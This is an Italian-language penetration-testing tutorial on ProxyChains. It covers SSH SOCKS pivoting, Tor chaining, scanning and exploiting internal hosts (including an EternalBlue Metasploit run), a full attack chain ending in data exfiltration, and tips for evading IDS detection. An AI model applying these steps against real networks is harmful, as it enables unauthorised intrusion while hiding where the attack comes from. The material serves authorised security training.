networking

ProxyChains: Concatenare Proxy per Anonimato e Pivoting nel Pentest

ProxyChains: Concatenare Proxy per Anonimato e Pivoting nel Pentest

ProxyChains: guida pratica per anonimizzare traffico e concatenare proxy in penetration test. Configurazione, SOCKS5 e integrazione tool.

  • Pubblicato il 2026-02-07
  • Tempo di lettura: 7 min

ProxyChains forza qualsiasi applicazione TCP a passare attraverso uno o più proxy (SOCKS4, SOCKS5, HTTP) senza che l’applicazione stessa debba supportare nativamente il proxying. Nel penetration testing ha due usi principali: instradare il traffico offensivo attraverso un pivot host per raggiungere reti interne, e concatenare più proxy per offuscare la sorgente del traffico.

Il tool opera come wrapper: lo anteponi al comando che vuoi eseguire e ProxyChains intercetta le chiamate di rete, redirezionandole attraverso la chain configurata. Nella kill chain, ProxyChains supporta le fasi di Lateral Movement, Command & Control e Exfiltration (MITRE ATT&CK T1090).

Qui trovi configurazione operativa, scenari di pivoting reali, integrazione con SSH e tool offensivi, e le differenze tra le varianti disponibili.


1️⃣ Setup e Installazione #

ProxyChains-ng (versione aggiornata e mantenuta):

bash
sudo apt install proxychains4

Per la versione compilata da sorgente:

bash
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
sudo make install-config

Verifica installazione:

bash
proxychains4 --version

Output:

text
proxychains-ng 4.17

File di configurazione: /etc/proxychains4.conf (globale) oppure ./proxychains.conf nella directory corrente (priorità maggiore).

Requisiti:

  • Almeno un proxy attivo (tipicamente SOCKS5 creato via SSH)
  • Il tool da proxare deve usare TCP (UDP non supportato)

2️⃣ Uso Base #

Step 1 — Crea un proxy SOCKS5 con SSH Dynamic Forwarding:

bash
ssh -D 1080 -N -f user@10.10.10.50
  • -D 1080 → apre un SOCKS5 proxy sulla porta locale 1080
  • -N → nessun comando remoto
  • -f → background

Step 2 — Configura ProxyChains:

bash
sudo nano /etc/proxychains4.conf

In fondo al file, assicurati di avere:

text
[ProxyList]
socks5 127.0.0.1 1080

Step 3 — Esegui qualsiasi tool attraverso il proxy:

bash
proxychains4 nmap -sT -Pn 172.16.0.10

Output:

text
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.0.10:445  ...  OK
Nmap scan report for 172.16.0.10
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Ogni connessione TCP di Nmap passa attraverso 10.10.10.50. Il target vede il traffico provenire dal jump host, non dal tuo IP.


3️⃣ Tecniche Operative #

Modalità di concatenamento #

ProxyChains supporta tre modalità, configurabili nel file .conf:

Strict chain (default): il traffico passa per ogni proxy nell’ordine esatto. Se uno fallisce, la connessione si interrompe.

text
strict_chain

Dynamic chain: salta i proxy non raggiungibili e prosegue con quelli disponibili.

text
dynamic_chain

Random chain: seleziona proxy casuali dalla lista ad ogni connessione.

text
random_chain
chain_len = 2

Per il pentest, dynamic_chain è la scelta operativa migliore: tollera proxy instabili senza bloccare tutto.

Nmap attraverso ProxyChains #

Scansione di una rete interna tramite pivot:

bash
proxychains4 nmap -sT -Pn -p 21,22,80,443,445,3389 172.16.0.0/24

Regole critiche per Nmap via ProxyChains:

  • Usa sempre -sT (TCP connect). SYN scan -sS non funziona.
  • Usa sempre -Pn (no ping). ICMP non passa attraverso SOCKS.
  • Evita -sV su range ampi — ogni probe è una connessione TCP separata attraverso il proxy, il tempo esplode.

CrackMapExec attraverso proxy #

bash
proxychains4 crackmapexec smb 172.16.0.0/24 -u admin -p 'Password1'

Output:

text
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.0.10:445  ...  OK
SMB   172.16.0.10  445  DC01  [*] Windows Server 2019 Build 17763
SMB   172.16.0.10  445  DC01  [+] CORP\admin:Password1 (Pwn3d!)

Multi-proxy chain per offuscamento #

Configura più proxy in sequenza:

text
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
socks4 127.0.0.1 9050

Ogni proxy è un hop separato. Il target finale vede solo l’IP dell’ultimo proxy nella catena.


4️⃣ Tecniche Avanzate #

ProxyChains + Tor per anonimato #

Combinazione classica per mascherare l’origine durante OSINT o recon esterna:

bash
sudo systemctl start tor

Tor apre un SOCKS5 proxy su 127.0.0.1:9050. Configura:

text
dynamic_chain
[ProxyList]
socks5 127.0.0.1 9050
bash
proxychains4 curl ifconfig.me

L’IP restituito sarà un exit node Tor.

Catena mista: Tor + pivot SSH #

Per raggiungere una rete interna passando prima per Tor e poi per il jump host:

text
dynamic_chain
[ProxyList]
socks5 127.0.0.1 9050
socks5 127.0.0.1 1080

Il traffico va: tuo box → Tor → jump host SSH → rete interna. Doppio livello di offuscamento.

Config file dedicato per operazione #

Evita di modificare il file globale. Crea config per ogni target:

bash
cp /etc/proxychains4.conf ./target-a.conf
nano ./target-a.conf

Esegui con:

bash
proxychains4 -f ./target-a.conf nmap -sT -Pn 172.16.0.10

Utile quando lavori su più ingaggi in parallelo.

DNS leak prevention #

ProxyChains può instradare anche le query DNS attraverso il proxy per evitare leak:

text
proxy_dns

Abilita questa opzione nel file di configurazione. Senza di essa, le query DNS vanno al resolver locale, rivelando i nomi host che stai risolvendo.


5️⃣ Scenari Pratici di Pentest #

Scenario 1: Enumerazione Active Directory via pivot SSH #

bash
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 crackmapexec smb 172.16.0.0/24

Output atteso:

text
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.0.10:445  ...  OK
SMB   172.16.0.10  445  DC01  [*] Windows Server 2019

Cosa fare se fallisce:

  • Timeout su ogni host → Il tunnel SSH è caduto. Verifica con ss -tlnp | grep 1080. Se non c’è, riapri il tunnel.
  • Tutti gli host risultano filtered → Firewall interno blocca 445 dal jump host. Prova porte alternative (5985 WinRM, 3389 RDP).

Timeline: Setup tunnel 10 secondi. Scansione /24 su porta singola: 2-5 minuti.

Scenario 2: Exploit Metasploit attraverso proxy #

bash
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 msfconsole

Dentro msfconsole:

text
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.16.0.20
set PAYLOAD windows/x64/meterpreter/bind_tcp
run

Output atteso: Sessione Meterpreter aperta verso 172.16.0.20 attraverso il proxy.

Cosa fare se fallisce:

  • Usa bind_tcp e non reverse_tcp — il reverse andrebbe verso il tuo IP che non è raggiungibile dalla rete interna.
  • Se il proxy è lento, aumenta set WfsDelay 30 per dare più tempo all’exploit.

Timeline: 1-3 minuti per exploit completo.

Scenario 3: Accesso a webapp interna con Firefox #

bash
ssh -D 1080 -N -f user@10.10.10.50
proxychains4 firefox

Naviga a http://172.16.0.10:8080 — la webapp interna è raggiungibile dal tuo browser.

Cosa fare se fallisce:

  • Firefox non si avvia → Configura manualmente il proxy SOCKS5 nelle impostazioni di Firefox: 127.0.0.1:1080, senza usare ProxyChains.
  • Pagina non carica → Abilita proxy_dns nel config per risolvere hostname interni.

Timeline: Immediato.


6️⃣ Toolchain Integration #

ProxyChains è il collante che connette il tunnel SSH ai tool offensivi.

Flusso operativo:

SSH tunnel (-D 1080) → ProxyChains → Nmap / CrackMapExec / Impacket / Metasploit

Rispetto a SSHuttle, ProxyChains è meno trasparente (devi preporre proxychains4 a ogni comando) ma più flessibile: supporta catene di proxy multiple e funziona con qualsiasi tunnel SOCKS, non solo SSH.

Per enumerazione Active Directory attraverso il tunnel, scopri come integrare tool come CredNinja per validare credenziali su target interni raggiungibili via proxy.

CriterioProxyChainsSSHuttleChisel
TrasparenzaBassa (wrapper)Alta (routing)Alta (tunnel)
Concatenamento proxyNoNo
UDP supportNoNoLimitato
Compatibilità toolUniversaleUniversale (TCP)Universale
Anonimato multi-hopNoNo
Overhead configurazioneMedioBassoMedio

7️⃣ Attack Chain Completa #

Obiettivo: Accesso anonimizzato a un database interno in una rete enterprise.

Fase 1 — Recon OSINT anonimizzata (30 min)

bash
proxychains4 -f tor.conf theharvester -d target.com -l 200 -b all

Recon attraverso Tor. Nessun traffico diretto verso il target.

Fase 2 — Initial Access (45 min)

Exploit di un servizio esposto. Ottieni shell su 10.10.10.50. Configuri persistenza con Crontab Backdoor.

Fase 3 — Tunnel setup (1 min)

bash
ssh -D 1080 -N -f user@10.10.10.50

Fase 4 — Enumerazione interna (20 min)

bash
proxychains4 nmap -sT -Pn -p 1433,3306,5432 172.16.0.0/24

Trovi un MSSQL su 172.16.0.30:1433.

Fase 5 — Accesso database (10 min)

bash
proxychains4 sqsh -S 172.16.0.30 -U sa -P 'DBpassword1'

Query diretta sul database attraverso il tunnel.

Fase 6 — Exfiltration (15 min)

Dump dei dati attraverso il proxy. Tutto il traffico è instradato via jump host.

Timeline totale: ~120 minuti.


8️⃣ Detection & Evasion #

Cosa monitora il Blue Team #

  • Connessioni SOCKS proxy anomale sulla macchina compromessa
  • Volume di traffico elevato in uscita da un host che normalmente genera poco traffico
  • Pattern di connessioni sequenziali verso porte diverse sullo stesso target (scan via proxy)

Log rilevanti #

  • Firewall logs → connessioni dalla macchina pivot verso IP interni su porte multiple
  • Windows Security Log Event ID 4624/4625 → tentativi di login provenienti dal pivot host
  • Syslog del proxy host → sessioni SSH prolungate con traffico anomalo

Tecniche di evasion #

  1. Limita la velocità delle scansioni: usa --min-rate 50 in Nmap per evitare burst di connessioni che triggerano IDS.
  2. DNS resolution locale: disabilita proxy_dns se non serve, per ridurre il traffico attraverso il proxy.
  3. Porta proxy non standard: usa una porta diversa da 1080 per il SOCKS proxy. Tool automatici di detection cercano porte note.

Cleanup #

Chiudi il tunnel SSH:

bash
kill $(pgrep -f "ssh -D 1080")

Non ci sono artefatti ProxyChains sul target — tutto il software gira sull’attacker box.


9️⃣ Performance & Scaling #

Scansioni leggere (singolo host, poche porte): latenza aggiuntiva minima, ~50-100ms per connessione.

Scansioni ampie (/24 con service detection): il tempo cresce in modo significativo. Ogni probe Nmap è una connessione TCP separata attraverso il proxy. Una scansione -sT -Pn -p- su un singolo host richiede 15-30 minuti via ProxyChains vs 2-3 minuti in locale.

Ottimizzazione:

bash
proxychains4 nmap -sT -Pn -p 22,80,443,445,3389 --min-parallelism 10 172.16.0.0/24

Limita le porte e aumenta il parallelismo. Più thread = più connessioni simultanee attraverso il proxy.

Thread safety: ProxyChains-ng supporta applicazioni multi-threaded. La versione legacy (proxychains 3.x) ha problemi con tool multi-threaded — usa sempre proxychains4.


🔟 Tabelle Tecniche #

Command Reference #

ComandoDescrizione
proxychains4 comandoEsegui tramite proxy chain
proxychains4 -f file.conf comandoConfig file custom
proxychains4 -q comandoModalità quiet (no output proxy)
ssh -D 1080 -N -f user@hostCrea SOCKS5 proxy
curl --socks5 127.0.0.1:1080 URLTest proxy senza ProxyChains

Confronto varianti ProxyChains #

Featureproxychains-ng (4.x)proxychains (3.x)tsocks
Manutenzione attivaNoNo
Thread safetyNoParziale
DNS proxyingParzialeNo
Config per-operazioneSì (-f)NoLimitato
Chain modes3 (strict/dynamic/random)31
PerformanceBuonaScarsaScarsa

11️⃣ Troubleshooting #

ProblemaCausaFix
Connection refused su ogni targetTunnel SSH cadutoVerifica con ss -tlnp | grep 1080
Timeout costantiProxy troppo lento o target non raggiungibileTesta il proxy: curl --socks5 127.0.0.1:1080 http://target
DNS non risolveproxy_dns disabilitatoAbilita proxy_dns nel config
Nmap mostra tutto filteredStai usando -sSCambia in -sT -Pn
Tool multi-thread crashaVersione legacy non thread-safeUsa proxychains4 (ng)
LD_PRELOAD errorPercorso libreria erratoVerifica path in /etc/proxychains4.conf

12️⃣ FAQ #

Posso usare ProxyChains con UDP? No. ProxyChains supporta solo TCP. Per DNS (UDP), abilita proxy_dns che intercetta e converte in TCP.

ProxyChains funziona con Burp Suite? Sì, ma è più efficiente configurare il proxy SOCKS direttamente nelle impostazioni di Burp (Project Options → SOCKS Proxy).

Quale modalità chain devo usare? dynamic_chain per pentest operativi. Tollera proxy instabili senza bloccare tutto.

Posso concatenare ProxyChains con Ngrok? Sì. Ngrok espone un endpoint pubblico, puoi aggiungere il suo proxy alla catena per avere un ulteriore livello di indirettezza.

È più veloce SSHuttle o ProxyChains? SSHuttle è generalmente più veloce perché opera a livello di routing, non come wrapper LD_PRELOAD. ProxyChains è più versatile per catene multi-proxy.

Come testo se il proxy funziona? proxychains4 curl ifconfig.me — l’IP restituito deve essere quello del proxy, non il tuo.


13️⃣ Cheat Sheet #

AzioneComando
Crea SOCKS5 via SSHssh -D 1080 -N -f user@host
Scan rete via proxyproxychains4 nmap -sT -Pn -p 445 172.16.0.0/24
CrackMapExec via proxyproxychains4 cme smb 172.16.0.0/24
Firefox via proxyproxychains4 firefox
Config customproxychains4 -f myconfig.conf tool
Quiet modeproxychains4 -q tool
Test proxyproxychains4 curl ifconfig.me
Metasploit via proxyproxychains4 msfconsole

Disclaimer: ProxyChains è uno strumento legittimo per penetration testing e privacy. L’utilizzo per accesso non autorizzato a sistemi informatici è illegale. Usa queste tecniche esclusivamente in contesti autorizzati. Repository: github.com/rofl0r/proxychains-ng.


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

#pivoting #tunneling

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.